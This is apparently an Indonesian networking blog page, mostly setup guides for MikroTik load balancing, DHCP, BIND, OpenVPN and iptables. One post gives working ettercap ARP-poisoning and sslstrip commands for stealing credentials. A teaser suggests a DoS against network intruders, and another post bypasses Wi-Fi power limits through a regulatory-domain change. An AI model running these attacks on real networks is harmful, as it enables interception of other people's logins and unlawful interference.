learning: network

4/19/13

Load Balance Mikrotik dengan Konsep PCC

11:55 PM

Load balance pada mikrotik adalah teknik untuk mendistribusikan beban trafik pada dua atau lebih jalur koneksi secara seimbang, agar trafik dapat berjalan optimal, memaksimalkan throughput, memperkecil waktu tanggap dan menghindari overload pada salah satu jalur koneksi. 
Skenario : 
1. ether1 dan ether2 terhubung pada internet service provider yang berbeda dengan besar bandwdith yang berbeda. ISP1 sebesar 512kbps dan ISP2 sebesar 256kbps 
2. menggunakan web-proxy internal dan openDNS 
3. Mikrotik RouterOS versi 4.5, karena fitur PCC mulai dikenal pada Mikrotik versi 3.24 
konfigurasi
<pre class="brush:bash">
/ip address
add address=192.168.101.2/30 interface=ether1
add address=192.168.102.2/30 interface=ether2
add address=10.10.10.1/24 interface=wlan2
/ip dns
set allow-remote-requests=yes primary-dns=208.67.222.222 secondary-dns=208.67.220.220
</pre>
Koneksi client menggunakan wireless wlan2 dengan range IP client 10.10.10.2 s/d 10.10.10.254 netmask 255.255.255.0, dimana IP 10.10.10.1 yang dipasangkan pada wlan2 berfungsi sebagai gateway dan dns server dari client. Jika anda menggunakan DNS dari salah satu ISP anda, maka akan ada tambahan mangle. Setelah pengkonfigurasian IP dan DNS sudah benar, selanjutnya mengatur default route ke masing-masing IP gateway ISP agar router meneruskan semua trafik yang tidak terhubung padanya ke gateway tersebut. Fitur yang digunakan adalah "fitur check-gateway" berguna jika salah satu gateway putus, maka koneksi akan dibelokkan ke gateway lainnya.
<pre class="brush:bash">
/ip route
add dst-address=0.0.0.0/0 gateway=192.168.101.1 distance=1 check-gateway=ping
add dst-address=0.0.0.0/0 gateway=192.168.102.1 distance=2 check-gateway=ping
</pre>
Untuk pengaturan Access Point sehingga PC client dapat terhubung dengan wireless,gunakan perintah
<pre class="brush:bash">
/interface wireless
set wlan2 mode=ap-bridge band=2.4ghz-b/g ssid=Mikrotik disabled=no
</pre>
Agar pc client dapat melakukan koneksi ke internet, ganti IP private client ke IP public yang ada di interface publik anda yaitu ether1 dan ether2.
<pre class="brush:bash">
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1
add action=masquerade chain=srcnat out-interface=ether2
</pre>
Sampai langkah ini, router dan pc client sudah dapat melakukan koneksi internet. Lakukan ping baik dari router ataupun pc client ke internet. Jika belum berhasil, cek kembali konfigurasi anda. 
Webproxy Internal 
Pada routerboard tertentu, seperti RB450G, RB433AH, RB433UAH, RB800 dan RB1100 mempunyai expansion slot (USB, MicroSD, CompactFlash) untuk storage tambahan. Pada contoh berikut akan menggunakan usb flashdisk yang dipasangkan pada slot USB. Untuk pertama kali pemasangan, storage tambahan ini akan terbaca statusnya invalid di /system store. Agar dapat digunakan sebagai media penyimpan cache, maka storage harus diformat dahulu dan diaktifkan Nantinya kita tinggal mengaktifkan webproxy dan set cache-on-disk=yes untuk menggunakan media storage. Jangan lupa untuk membelokkan trafik HTTP (tcp port 80) kedalam webproxy.
<pre class="brush:bash">
/store disk format-drive usb1
/store
add disk=usb1 name=cache-usb type=web-proxy activate cache-usb
/ip proxy set cache-on-disk=yes enabled=yes max-cache-size=200000KiB port=8080
/ip firewall nat
add chain=dstnat protocol=tcp dst-port=80 in-interface=wlan2 action=redirect to-ports=8080
</pre>
Pengaturan Mangle 
Pada load balancing kali ini yang akan digunakan adalah fitur yang disebut PCC (Per Connection Classifier). Dengan PCC anda bisa mengelompokan trafik koneksi yang melalui atau keluar masuk router menjadi beberapa kelompok. Pengelompokan ini bisa dibedakan berdasarkan src-address, dst-address, src-port dan atau dst-port. Router akan mengingat-ingat jalur gateway yang dilewati diawal trafik koneksi, sehingga pada paket-paket selanjutnya yang masih berkaitan dengan koneksi awalnya akan dilewatkan pada jalur gateway yang sama juga. Kelebihan dari PCC ini yang menjawab banyaknya keluhan sering putusnya koneksi pada teknik load balancing lainnya sebelum adanya PCC karena perpindahan gateway. 
Sebelum membuat mangle load balance, untuk mencegah terjadinya loop routing pada trafik, maka semua trafik client yang menuju network yang terhubung langsung dengan router, harus di bypass dari load balancing.Anda dapat membuat daftar IP yang masih dalam satu network router dan memasang mangle pertama kali sebagai berikut :
<pre class="brush:bash">
/ip firewall address-list
add address=192.168.101.0/30 list=lokal
add address=192.168.102.0/30 list=lokal
add address=10.10.10.0/24 list=lokal
/ip firewall mangle
add action=accept chain=prerouting dst-address-list=lokal in-interface=wlan2 comment=”trafik lokal”
add action=accept chain=output dst-address-list=lokal
</pre>
Pada kasus tertentu, trafik pertama bisa berasal dari Internet, seperti penggunaan remote winbox atau telnet dari internet dan sebagainya, oleh karena itu anda juga memerlukan mark-connection untuk menandai trafik tersebut agar trafik baliknya juga bisa melewati interface dimana trafik itu masuk
<pre class="brush:bash">
/ip firewall mangle
add action=mark-connection chain=prerouting connection-mark=no-mark in-interface=ether1 new-connection-mark=con-from-isp1 passthrough=yes comment=”trafik dari isp1”
add action=mark-connection chain=prerouting connection-mark=no-mark in-interface=ether2 new-connection-mark=con-from-isp2 passthrough=yes comment=”trafik dari isp2”
</pre>
Umumnya, sebuah ISP akan membatasi akses DNS servernya dari IP yang hanya dikenalnya, jadi jika anda menggunakan DNS dari salah satu ISP anda, anda harus menambahkan mangle agar trafik DNS tersebut melalui gateway ISP yang bersangkutan bukan melalui gateway ISP lainnya. Disini kami berikan mangle DNS ISP1 yang melalui gateway ISP1. Jika anda menggunakan publik DNS independent, seperti opendns, anda tidak memerlukan mangle dibawah ini.
<pre class="brush:bash">
/ip firewall mangle
add action=mark-connection chain=output comment=dns dst-address=202.65.112.21 dst-port=53 new-connection-mark=dns passthrough=yes protocol=tcp comment=”trafik DNS belajar.org” add action=mark-connection chain=output dst-address=202.65.112.21 dst-port=53 new-connection-mark=dns passthrough=yes protocol=udp add action=mark-routing chain=output connection-mark=dns new-routing-mark=route-to-isp1 passthrough=no
</pre>
Karena pada pembahasan ini menggunakan webproxy pada router, maka trafik yang perlu di load balance ada 2 jenis, yang pertama trafik dari client menuju internet (non HTTP), dan kedua trafik dari webproxy menuju internet. Agar lebih terstruktur dan mudah dalam pembacaannya, gunakan custom-chain sebagai berikut :
<pre class="brush:bash">
/ip firewall mangle
add action=jump chain=prerouting comment=”lompat ke client-lb” connection-mark=no-mark in-interface=wlan2 jump-target=client-lb add action=jump chain=output comment=”lompat ke lb-proxy” connection-mark=no-mark out-interface=!wlan2 jump-target=lb-proxy
</pre>
Pada mangle diatas, untuk trafik load balance client pastikan parameter in-interface adalah interface yang terhubung dengan client, dan untuk trafik loadbalance webproxy, gunakan chain output dengan parameter out-interface yang bukan terhubung ke interface client. Setelah custom chain untuk load balancing dibuat, anda dapat membuat mangle di custom chain tersebut sebagai berikut :
<pre class="brush:bash">
/ip firewall mangle
add action=mark-connection chain=client-lb dst-address-type=!local new-connection-mark=to-isp1 passthrough=yes per-connection-classifier=both-addresses:3/0 comment=”awal loadbalancing klien”
add action=mark-connection chain=client-lb dst-address-type=!local new-connection-mark=to-isp1 passthrough=yes per-connection-classifier=both-addresses:3/1
add action=mark-connection chain=client-lb dst-address-type=!local new-connection-mark=to-isp2 passthrough=yes per-connection-classifier=both-addresses:3/2
add action=return chain=client-lb comment=”akhir dari loadbalancing”
</pre>
<pre class="brush:bash">
/ip firewall mangle
add action=mark-connection chain=lb-proxy dst-address-type=!local new-connection-mark=con-from-isp1 passthrough=yes per-connection-classifier=both-addresses:3/0 comment=”awal load balancing proxy”
add action=mark-connection chain=lb-proxy dst-address-type=!local new-connection-mark=con-from-isp1 passthrough=yes per-connection-classifier=both-addresses:3/1
add action=mark-connection chain=lb-proxy dst-address-type=!local new-connection-mark=con-from-isp2 passthrough=yes per-connection-classifier=both-addresses:3/2
add action=return chain=lb-proxy comment=”akhir dari loadbalancing”
</pre>
Untuk contoh diatas, pada load balancing client dan webproxy menggunakan parameter pemisahan trafik pcc yang sama, yaitu both-address, sehingga router akan mengingat-ingat berdasarkan src-address dan dst-address dari sebuah koneksi. Karena trafik ISP yang berbeda (512kbps dan 256kbps), maka membagi beban trafiknya menjadi 3 bagian. 2 bagian pertama akan melewati gateway ISP1, dan 1 bagian terakhir akan melewati gateway ISP2. Jika masing-masing trafik dari client dan proxy sudah ditandai, langkah berikutnya tinggal membuat mangle mark-route yang akan digunakan dalam proses routing nantinya
<pre class="brush:bash">
/ip firewall mangle
add action=jump chain=prerouting comment=”marking route client” connection-mark=!no-mark in-interface=wlan2 jump-target=route-client
add action=mark-routing chain=route-client connection-mark=to-isp1 new-routing-mark=route-to-isp1 passthrough=no
add action=mark-routing chain=route-client connection-mark=to-isp2 new-routing-mark=route-to-isp2 passthrough=no
add action=mark-routing chain=route-client connection-mark=con-from-isp1 new-routing-mark=route-to-isp1 passthrough=no
add action=mark-routing chain=route-client connection-mark=con-from-isp2 new-routing-mark=route-to-isp2 passthrough=no
add action=return chain=route-client disabled=no
</pre>
<pre class="brush:bash">
/ip firewall mangle
add action=mark-routing chain=output comment=”marking route proxy” connection-mark=con-from-isp1 new-routing-mark=route-to-isp1 out-interface=!wlan2 passthrough=no
add action=mark-routing chain=output connection-mark=con-from-isp2 new-routing-mark=route-to-isp2 out-interface=!wlan2 passthrough=no
</pre>
Pengaturan Routing 
Pengaturan mangle diatas tidak akan berguna jika anda belum membuat routing berdasar mark-route yang sudah dibuat. Pada tahap ini akan membuat routing backup, sehingga apabila sebuah gateway terputus, maka semua koneksi akan melewati gateway yang masing terhubung.
<pre class="brush:bash">
/ip route
add check-gateway=ping dst-address=0.0.0.0/0 gateway=192.168.101.1 routing-mark=route-to-isp1 distance=1
add check-gateway=ping dst-address=0.0.0.0/0 gateway=192.168.102.1 routing-mark=route-to-isp1 distance=2
add check-gateway=ping dst-address=0.0.0.0/0 gateway=192.168.102.1 routing-mark=route-to-isp2 distance=1
add check-gateway=ping dst-address=0.0.0.0/0 gateway=192.168.101.1 routing-mark=route-to-isp2 distance=2
</pre>
Selesai, lakukan uji coba 
semoga berhasil :)

Load balance pada mikrotik adalah teknik untuk mendistribusikan beban trafik pada dua atau lebih jalur koneksi secara seimbang, agar trafik ...

Konfigurasi Manual Network Ubuntu

10:43 PM

buka terminal dan edit file /etc/network/interfaces ~# vim /etc/network/interfaces auto lo iface lo inet loopback set interface eth0 au...

Konfigurasi DHCP Server Ubuntu

3:30 PM

assalamua'alaikum wr.rb...
 
apa itu DHCP :bingungs 
DHCP (Dynamic Host Configuration Protocol) adalah protokol yang berbasis arsitektur client/server yang dipakai untuk memudahkan pengalokasian alamat IP dalam satu jaringan. Sebuah jaringan lokal yang tidak menggunakan DHCP harus memberikan alamat IP kepada semua komputer secara manual. Jika DHCP dipasang di jaringan lokal, maka semua komputer yang tersambung di jaringan akan mendapatkan alamat IP secara otomatis dari server DHCP. Selain alamat IP, banyak parameter jaringan yang dapat diberikan oleh DHCP, seperti default gateway dan DNS server. 
Jika anda ingin membangun sebuah jaringan yang memiliki banyak client diperlukan DCHP, bagaimana jika dalam PC Server anda tidak ada DCHP nya ?? ya mau gak mau dan harus mau setting alamat IP tiap client satu persatu, belom lagi kalo ada IP yg konflik weleh repot jadinya. Oke langsung aja masbro ke initnya 
install dhcp server
<pre class="brush:bash">
~$ sudo apt-get install isc-dhcp-server
</pre>
set interface
<pre class="brush:bash">
~$ sudo vim /etc/default/isc-dhcp-server
 INTERFACES="0"
</pre>
edit dhcpd.conf
<pre class="brush:bash">
~$ sudo vim /etc/dhcp/dhcpd.conf
</pre>
edit seperti ini
<pre class="brush:bash">
subnet 192.168.10.0 netmask 255.255.255.0 {
range 192.168.10.20 192.168.10.100;
option domain-name-servers 192.168.10.1;
option domain-name "sevencr.org";
option routers 192.168.10.1;
option broadcast-address 192.168.10.255;
</pre>
restart dhcp server
<pre class="brush:bash">
~$ sudo service isc-dhcp-server restart
</pre>
selesai, semoga bermanfaat :D

assalamua'alaikum wr.rb... apa itu DHCP :bingungs DHCP (Dynamic Host Configuration Protocol) adalah protokol yang berbasis arsitektur ...

DNS Server Bind9 di Ubuntu

5:30 PM

asslamu'alaikum... 
Sekilas tentang DNS, DNS ( Doamin Name System ) adalah sebuah sistem yang menyimpan informasi tentang nama host ataupun nama domain dalam bentuk basis data tersebar (distributed database) di dalam jaringan komputer, misalkan: Internet. DNS menyediakan alamat IP untuk setiap nama host dan mendata setiap server transmisi surat (mail exchange server) yang menerima surel (email) untuk setiap domain. Menurut browser Google Chrome, DNS adalah layanan jaringan yang menerjemahkan nama situs web menjadi alamat internet. (<a href="http://id.wikipedia.org/wiki/Sistem_Penamaan_Domain">wikipedia.org/wiki/Sistem_Penamaan_Domain</a>) 
Berikut konfigurasi yang saya coba pada ubuntu 
1. Install bind dan dnsutils
<pre class="brush:bash">
~$ sudo apt-get install bind9 dnsutils
</pre>
2. Konfigurasi default untuk caching server
<pre class="brush:bash">
~$ sudo vim /etc/bind/named.conf.options
</pre>
<pre class="brush:bash">
// Uncomment the following block, and insert the addresses replacing
// the all-0's placeholder.
 forwarders {
 8.8.8.8;
 8.8.4.4;
 };
</pre>
3. Membuat Forward Zone dan Reverse Zone
<pre class="brush:bash">
~$ sudo vim /etc/bind/named.conf.lokal
</pre>
<pre class="brush:bash">
zone "belajardns.org" {
 type master;
 file "/etc/bind/db.belajardns";
};

zone "1.168.192.in-addr.arpa" {
 type master;
 file "/etc/bind/db.192";
};
</pre>
4. Konfigurasi Zona Forward (db.belajardns)
<pre class="brush:bash">
~$ sudo cp /etc/bind/db.lokal /etc/bind/db.belajardns
</pre>
<pre class="brush:bash">
~$ sudo vim /etc/bind/db.belajardns
</pre>
<pre class="brush:bash">
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA belajardns.org. root.belajardns.org. (
 19921026 ; Serial
 604800 ; Refresh
 86400 ; Retry
 2419200 ; Expire
 604800 ) ; Negative Cache TTL
;
@ IN NS ns.belajardns.org.
@ IN A 192.168.1.2
ns IN A 192.168.1.2
www IN CNAME ns
ftp IN CNAME ns
</pre>
5. Konfigurasi Zona Reverse (db.192)
<pre class="brush:bash">
~$ sudo cp /etc/bind/db.127 /etc/bind/db.192
</pre>
<pre class="brush:bash">
~$ sudo vim /etc/bind/db.192
</pre>
<pre class="brush:bash">
;
; BIND reverse data file for local loopback interface
;
$TTL 604800
@ IN SOA belajardns.org. root.belajardns.org. (
 19911026 ; Serial
 604800 ; Refresh
 86400 ; Retry
 2419200 ; Expire
 604800 ) ; Negative Cache TTL
;
@ IN NS ns.belajardns.org.
2 IN PTR ns.belajardns.org.
</pre>
6. Edit /etc/resolv.conf
<pre class="brush:bash">
~$ sudo vim /etc/resolv.conf
</pre>
<pre class="brush:bash">
search belajardns.org
nameserver 192.168.1.2
</pre>
7. Restart Bind9
<pre class="brush:bash">
~$ sudo /etc/init.d/bind9 restart
</pre>
8. Cek DNS
<pre class="brush:bash">
~$ nslookup belajardns.org
</pre>
Jika konfigurasi DNS berhasil
<pre class="brush:bash">
Server:		192.168.1.2
Address:	192.168.1.2#53

Name:	belajardns.org
Address: 192.168.1.2
</pre>
<pre class="brush:bash">
PING belajardns.org (192.168.1.2) 56(84) bytes of data.
64 bytes from ns.belajardns.org (192.168.1.2): icmp_req=1 ttl=64 time=0.029 ms
64 bytes from ns.belajardns.org (192.168.1.2): icmp_req=2 ttl=64 time=0.039 ms
64 bytes from ns.belajardns.org (192.168.1.2): icmp_req=3 ttl=64 time=0.033 ms
64 bytes from ns.belajardns.org (192.168.1.2): icmp_req=4 ttl=64 time=0.035 ms
64 bytes from ns.belajardns.org (192.168.1.2): icmp_req=5 ttl=64 time=0.036 ms
64 bytes from ns.belajardns.org (192.168.1.2): icmp_req=6 ttl=64 time=0.035 ms
[2]+ Stopped ping belajardns.org
</pre>
Sekian dulu sekilas tentang DNS, semoga bermanfaat :)

asslamu'alaikum... Sekilas tentang DNS, DNS ( Doamin Name System ) adalah sebuah sistem yang menyimpan informasi tentang nama host atau...

OpenVPN di Ubuntu

12:25 PM

OpenVPN 
OpenVPN menggunakan Public Key Infrastructure (PKI) untuk mengenkripsi lalu lintas VPN diantara node. Cara sederhana membangun VPN dengan OpenVPN untuk menghubungkan klien melalui bridge interface pada server VPN. Panduan ini akan mengasumsikan dengan salah satu node VPN, dalam hal ini server, memerlukan konfigurasi bridge interface. Untuk informasi lebih lanjut tentang pengaturan bridge interface lihat <a href="https://help.ubuntu.com/10.04/serverguide/network-configuration.html#bridging"> the section called “Bridging”</a> 
Installasi
<pre class="brush:bash">
~$ sudo apt-get install openvpn
</pre>
Sertifikat Server 
pertama, copy easy-rsa ke direktori /etc/openvpn.Ini akan memastikan bahwa setiap perubahan pada script tidak akan hilang ketika paket diperbarui. Anda juga perlu menyesuaikan izin dalam direktori easy-rsa untuk memungkinkan izin pengguna saat membuat file.
<pre class="brush:bash">
~$ sudo mkdir /etc/openvpn/easy-rsa/
~$ sudo cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/openvpn/easy-rsa/
~$ sudo chown -R $USER /etc/openvpn/easy-rsa/
</pre>
kemudian, edit /etc/openvpn/easy-rsa/vars dan tambahkan
<pre class="brush:bash">
~$ vim /etc/openvpn/easy-rsa/
 export KEY_COUNTRY="US"
 export KEY_PROVINCE="NC"
 export KEY_CITY="Winston-Salem"
 export KEY_ORG="Example Company"
 export KEY_EMAIL="steve@example.com"
</pre>
masukkan baris berikut untuk membuat sertifikat server
<pre class="brush:bash">
~$ cd /etc/openvpn/easy-rsa/
source vars
./clean-all
./build-dh
./pkitool --initca
./pkitool --server server
~$ cd keys
openvpn --genkey --secret ta.key
~$ sudo cp server.crt server.key ca.crt dh1024.pem ta.key /etc/openvpn/
</pre>
Sertifikat client
<pre class="brush:bash">
~$ cd /etc/openvpn/easy-rsa/
source vars
./pkitool hostname
</pre>
ket: ganti hostname dengan hostname anda 
copy file pada client
<pre class="brush:bash">
 /etc/openvpn/ca.crt
 /etc/openvpn/easy-rsa/keys/hostname.crt
 /etc/openvpn/easy-rsa/keys/hostname.key
 /etc/openvpn/ta.key
</pre>
Konfigurasi Server 
<pre class="brush:bash">
~$ sudo cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn/
~$ sudo gzip -d /etc/openvpn/server.conf.gz
</pre>
Edit /etc/openvpn/server.conf
<pre class="brush:bash">
~$ vim /etc/openvpn/server.conf
local 172.18.100.101
dev tap0
up "/etc/openvpn/up.sh br0"
down "/etc/openvpn/down.sh br0"
;server 10.8.0.0 255.255.255.0
server-bridge 172.18.100.101 255.255.255.0 172.18.100.105 172.18.100.200
push "route 172.18.100.1 255.255.255.0"
push "dhcp-option DNS 172.18.100.20"
push "dhcp-option DOMAIN example.com"
tls-auth ta.key 0 # This file is secret
user nobody
group nogroup
</pre>
Selanjutnya, membuat beberapa skrip pembantu untuk menambahkan tap interface ke bridge.Buat file /etc/openvpn/up.sh
<pre class="brush:bash">
~$ vim /etc/openvpn/up.sh
#!/bin/sh

BR=$1
DEV=$2
MTU=$3
/sbin/ifconfig $DEV mtu $MTU promisc up
/usr/sbin/brctl addif $BR $DEV
</pre>
dan /etc/openvpn/down.sh
<pre class="brush:bash">
~$ vim /etc/openvpn/down.sh
#!/bin/sh

BR=$1
DEV=$2

/usr/sbin/brctl delif $BR $DEV
/sbin/ifconfig $DEV down
</pre>
kemudian eksekusi
<pre class="brush:bash">
~$ sudo chmod 755 /etc/openvpn/down.sh
~$ sudo chmod 755 /etc/openvpn/up.sh
</pre>
setelah mengkonfigurasi server kemudian restart
<pre class="brush:bash">
~$ sudo /etc/init.d/openvpn restart
</pre>
Konfigurasi Client 
install OpenVPN pada client
<pre class="brush:bash">
~$ sudo apt-get install openvpn
</pre>
kemudian dengan konfigurasi server dan sertifikat client copy ke direktori /etc/openvpn/, buat konfigurasi client
<pre class="brush:bash">
~$ sudo cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn
</pre>
sekarang edit /etc/openvpn/client.conf
<pre class="brush:bash">
~$ vim /etc/openvpn/client.conf
dev tap
remote vpn.example.com 1194
cert hostname.crt
key hostname.key
tls-auth ta.key 1
</pre>
ganti vpn.example.com dengan hostname dari server VPN Anda, dan hostname. * Dengan sertifikat. 
restart OpenVPN
<pre class="brush:bash">
~$ sudo /etc/init.d/openvpn restart
</pre>
semoga berhasil :D 
referensi: <a href="https://help.ubuntu.com/10.04/serverguide/openvpn.html">OpenVPN di Ubuntu</a>

OpenVPN OpenVPN menggunakan Public Key Infrastructure (PKI) untuk mengenkripsi lalu lintas VPN diantara node. Cara sederhana membangun VPN ...

Routing Iptables Linux

7:13 PM

Skenario Jaringan 
PC1 terkoneksi internet (wlan0) dan PC2 (eth0) 
PC2 terkoneksi dengan PC1 (eth0) 
Konfigurasi Router 
Setting PC1 :
<pre class="brush:bash">
its:~# ifconfig eth0 up
its:~# ifconfig eth0 192.168.1.1/24
its:~# echo 1 > /proc/sys/net/ipv4/ip_forward
its:~# echo "nameserver 8.8.8.8" > /etc/resolv.conf
its:~# iptables -t nat -A POSTROUTING -o wlan0 -s 192.168.1.0/24 -j MASQUERADE
</pre>
Konfigurasi Client 
Setting PC2 jika menggunkana linux:
<pre class="brush:bash">
its:~# ifconfig eth0 up
its:~# ifconfig eth0 192.168.1.3/24
its:~# route add default gw 192.168.1.1
its:~# echo "nameserver 8.8.8.8" > /etc/resolv.conf
</pre>
Setting PC2 jika menggunkanan windows:
<pre class="brush:bash">
1. open network and sharing center
2. change adapter settings
3. local area connections, properties
4. TCP/IPv4
5. use the following ip address
 ip address : 192.168.1.3
 subnet mask : 255.255.255.0
 default gateway: 192.168.1.1
6. use the following dns server addresses
 prefered dns server: 8.8.8.8
</pre>
ket: untuk melakukkan routing minimal memiliki 2 interface card

Skenario Jaringan PC1 terkoneksi internet (wlan0) dan PC2 (eth0) PC2 terkoneksi dengan PC1 (eth0) Konfigurasi Router Setting PC1 : its:...

DOS Attack Dengan Ettercap

2:29 PM

Jika teman-teman kesal dengan orang yang masuk ke jaringan anda tanpa izin, mungkin teman-teman bisa memberi pelajaran sedikit dengan menyer...

MITM dengan sslstrip

2:18 PM

apa tu kang MITM (Man In The Middle) dan sslstrip :bingungs kalo baru denger langsung aja tancep gas keliling-keliling di istana paman <a href="http://www.google.com/" target="blank">google</a> :D kalo uda paham langsung aja dipertajam nih kang
<pre class="brush:bash">
~# kate /etc/etter.conf
</pre>
<blockquote># if you use iptables: 
 #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" 
 #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"</blockquote>
hapus uncomment (#) baris kedua sama baris keempat aja 
lanjutkan perjuangan
<pre class="brush:bash">
~# echo 1 > /proc/sys/net/ipv4/ip_forward
~# iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 10000
</pre>
aktifin sslstripnya
<pre class="brush:bash">
~# sslstrip -a -f -k
</pre>
penutupan dan menunggu sambil memancing ikan :D
<pre class="brush:bash">
~# ettercap -i wlan0 -Tq -M ARP:REMOTE -P autoadd /192.168.7.1/ //
</pre>
ket: ganti 192.168.7.1 dengan ip gateway 
nih ane nyoba sniff dirumah sendiri :D jreeennggg dapet ikan :p 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWPC6wbwmQoaN4OMaNCfNoIdnAvV1FFCxGXK-vrMi-jFsveXj1qbaKQKwYa3ngEG7c5qxkzPqqa5vSDUde1-V-QfexOqtq8cTqCZfswfP10-g1XI6w8baVuJqAmpl7NmdNwF_hwFx5IZFy/s1600/tessniff.png" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWPC6wbwmQoaN4OMaNCfNoIdnAvV1FFCxGXK-vrMi-jFsveXj1qbaKQKwYa3ngEG7c5qxkzPqqa5vSDUde1-V-QfexOqtq8cTqCZfswfP10-g1XI6w8baVuJqAmpl7NmdNwF_hwFx5IZFy/s320/tessniff.png" /></a>

apa tu kang MITM (Man In The Middle) dan sslstrip :bingungs kalo baru denger langsung aja tancep gas keliling-keliling di istana paman googl...

Konfigurasi DNSMasq di Slackware

6:06 PM

Untuk membangun sebuah server DHCP dapat menggunakan paket dhcp (termasuk dengan Slackware) atau dapat melakukannya dengan cara yang lebih mudah dengan menggunakan dnsmasq pada Slackware. 
Dynamic Host Configuration Protocol (DHCP) adalah protokol jaringan yang digunakan untuk mengkonfigurasi perangkat jaringan sehingga dapat berkomunikasi pada jaringan IP. Seorang client DHCP menggunakan protokol DHCP untuk memperoleh informasi konfigurasi, seperti alamat IP, rute default dan satu atau lebih alamat DNS server dari DHCP server. 
Jika belum pernah mencobanya, mungkin anda bisa mengikuti langkah-langkah berikut 
1. download paket resmi dnsmasq slackware dari <a href="http://docs.slackware.com/slackware:slackpkg" target="blank">http://docs.slackware.com/</a> dan install 
<pre class="brush:bash">
~$ wget http://sourceforge.net/projects/slackpkg/files/latest/download
~# installpkg installpkg slackpkg-2.81-noarch-2.tgz
</pre>
2. mengaktifkan DNSmasq saat boot
<pre class="brush:bash">
~# chmod 755 /etc/rc.d/rc.dnsmasq
</pre>
Edit file berikut di /etc/dnsmasq.conf
<pre class="brush:bash">
~# nano /etc/dnsmasq.conf
</pre>
ganti baris berikut
<pre class="brush:bash">
#dhcp-range=192.168.0.50,192.168.0.150,255.255.255.0,12h
</pre>
dengan baris berikut
<pre class="brush:bash">
dhcp-range=ip_pool,ip_pool,12h
</pre>
contoh
<pre class="brush:bash">
dhcp-range=192.168.1.1,192.168.1.100,12h
</pre>
kemudian ganti baris berikut dengan default gateway anda
<pre class="brush:bash">
#dhcp-option=3,1.2.3.4
</pre>
<pre class="brush:bash">
dhcp-option=3,gateway_anda
</pre>
start/restart DNSMasq
<pre class="brush:bash">
# /etc/rc.d/rc.dnsmasq restart
</pre>
Selamat DHCP Server dengan DNSmasq teman-teman telah aktif
 
catatan : 
Untuk menetapkan alamat IP berdasarkan perangkat alamat MAC, edit file / etc / dnsmasq.conf dan tambahkan untuk setiap perangkat (gunakan alamat MAC yang benar dan IP tertentu saja) :D 
contoh
<pre class="brush:bash">
dhcp-host=11:22:33:44:55:66,192.168.1.61
</pre>
referensi: 
<a href="http://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">http://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol</a> 
<a href="http://docs.slackware.com/howtos:network_services:dhcp_server_via_dnsmasq">http://docs.slackware.com/howtos:network_services_dhcp_server_via_dnsmasq</a>

Untuk membangun sebuah server DHCP dapat menggunakan paket dhcp (termasuk dengan Slackware) atau dapat melakukannya dengan cara yang lebih m...

Koneksi WPA/WPA2 PSK di Slackware

7:30 PM

Mungkin banyak teman-teman pengguna baru slackware yang belum mengerti koneksi internetnya gimana :bingung: pada kesempatan ini saya mau berbagi pengetahuan yang saya dapat di RNDC (Research And Development Center) Bekasi, berikut implementasinya 
<pre class="brush: bash">
~# vi /etc/wpa_supplicant.conf
</pre>
ganti ssid dengan "nama wifi" psk dengan "password wifi" seperti dibawah ini 
<pre class="brush: bash">
# WPA protected network, supply your own ESSID and WPAPSK here:
network={
 scan_ssid=0
 ssid="nama wifi"
 proto=WPA RSN
 key_mgmt=WPA-PSK
 pairwise=CCMP TKIP
 group=CCMP TKIP WEP104 WEP40
 psk="password wifi"
 priority=10
}

# Plaintext connection (no WPA, no IEEE 802.1X),
# nice for hotel/airport types of WiFi network.
network={
 key_mgmt=NONE
 priority=0
}
</pre>
simpan dan keluar 
selanjutnya perintah untuk koneksi ke akses pointnya
<pre class="brush:bash">
~# wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant.conf
~# dhclient wlan0
</pre>
selamat mencoba :iloveindonesias:

Mungkin banyak teman-teman pengguna baru slackware yang belum mengerti koneksi internetnya gimana :bingung: pada kesempatan ini saya mau ber...

Menaikkan Power WIFI

4:38 PM

lihat interface yang tersedia di laptop anda atau chipset wifi eksternal
<pre class="brush:bash">
~# ifconfig -a
</pre>
ket : interface yang muncul tergantung yang tersedia misal (wlan0,wlan1,eth1,eth2) peringtan ini hanya untuk wireless chipset saja !!! 
Jika sudah mengetahui interface nya, kemudian lihat txpower default wifi yang ingin dinaikan
<pre class="brush:bash">
~# iwconfig
</pre>
ket : jika tersedia 20dbm berarti default txpower wifi yang anda miliki nilainya hanya segitu saja :D 
selanjutnya set txpower chipset wifi
<pre class="brush:bash">
~# iw reg set BO
~# iwconfig "interface wifi anda" txpower 30
misal: ~# iwconfig wlan0 txpower 30
</pre>
ket : iw reg set BO digunakan untuk merubah default txpower wifi anda ke daftar 
vendor dimana chipset itu dibuat 
iwconfig "interface wifi anda" txpower 30 perintah ini digunakan untuk 
merubah txpower (power jangkauan wifi anda ke 30dbm) 
cek status txpower yang sudah anda ubah
<pre class="brush:bash">
~# iwconfig "interface chipset anda"
misal:~# iwconfig wlan0
</pre>
jika berubah maka txpower yang sebelumnya 20dbm menjadi 30dbm
 
Catatan : 
 jangan terlalu sering merubah txpower yang ada pada chipset, karena bisa 
berdampak kurang baik bagi chipset yang anda miliki, gunakan seperlunya untuk hal yang penting 
"salam mad (Research And Development Center)"
 
referensi: Ahmad Nurulloh

lihat interface yang tersedia di laptop anda atau chipset wifi eksternal ~# ifconfig -a ket : interface yang muncul tergantung yang tersed...

Konfigurasi Dasar MikroTik RouterOS

1:30 PM

Membuat user baru
<pre class="brush: bash">
[admin@Mikrotik] > user add name=closer password=belajarmikrotik
</pre>
Melihat kondisi interface.
<pre class="brush: bash">
[closer@Mikrotik] > interface print
</pre>
Ket: jika interfacenya ada tanda X (disabled), R (running)
 
Mengganti nama interface ether1.
<pre class="brush: bash">
